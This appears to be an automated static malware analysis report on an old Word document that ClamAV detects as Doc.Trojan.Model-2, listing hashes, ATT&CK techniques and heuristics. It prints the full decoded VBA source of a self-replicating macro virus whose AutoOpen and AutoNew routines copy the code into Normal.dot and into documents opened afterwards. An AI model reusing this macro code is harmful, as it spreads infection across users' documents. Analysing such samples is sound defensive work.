Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 069931689c10ef24…

MALICIOUS

Office (OLE)

33.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 02a0f412b52324d10635f9562a5c24fc SHA-1: af27248bfdf55b13e1d287bced02cc778af9671e SHA-256: 069931689c10ef2401004e5bf6a25eda0728a0fef00bbc96885701286b7c37f8
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV detection and the presence of VBA macros, specifically an AutoOpen macro, indicate malicious intent. The VBA code attempts to copy itself to the Normal.dot template and any newly opened documents, suggesting a propagation mechanism. The document body content appears to be benign boilerplate text, but the embedded script is the primary indicator of malicious activity.

Heuristics 4

  • ClamAV: Doc.Trojan.Model-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Model-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1309 bytes
SHA-256: 4aefc6e74c4eecfc98d0168c6d5411affc258c58eebf486105d980e07c146527
Detection
ClamAV: Doc.Trojan.Model-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Code"
Sub AutoNew()
    If Not ActiveDocument = ThisDocument Then
        CopyVirCodeToDocument ActiveDocument    'Infetta il nuovo documento
    End If
End Sub
Sub AutoOpen()
    
    If Not ActiveDocument = NormalTemplate Then 'Infetta Normal.dot
        CopyVirCodeToModel
    End If
    If Not ActiveDocument = ThisDocument Then   'Infetta il documento aperto
        CopyVirCodeToDocument ActiveDocument
    End If
End Sub
Sub CopyVirCodeToModel()
On Local Error Resume Next
    With ActiveDocument
        .UpdateStylesOnOpen = False
        .AttachedTemplate = "Normal.dot"
    End With
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Code", Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Save
End Sub
Sub CopyVirCodeToDocument(Target As Document)
    On Local Error Resume Next
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=Target.FullName, Name:="Code", Object:=wdOrganizerObjectProjectItems
End Sub

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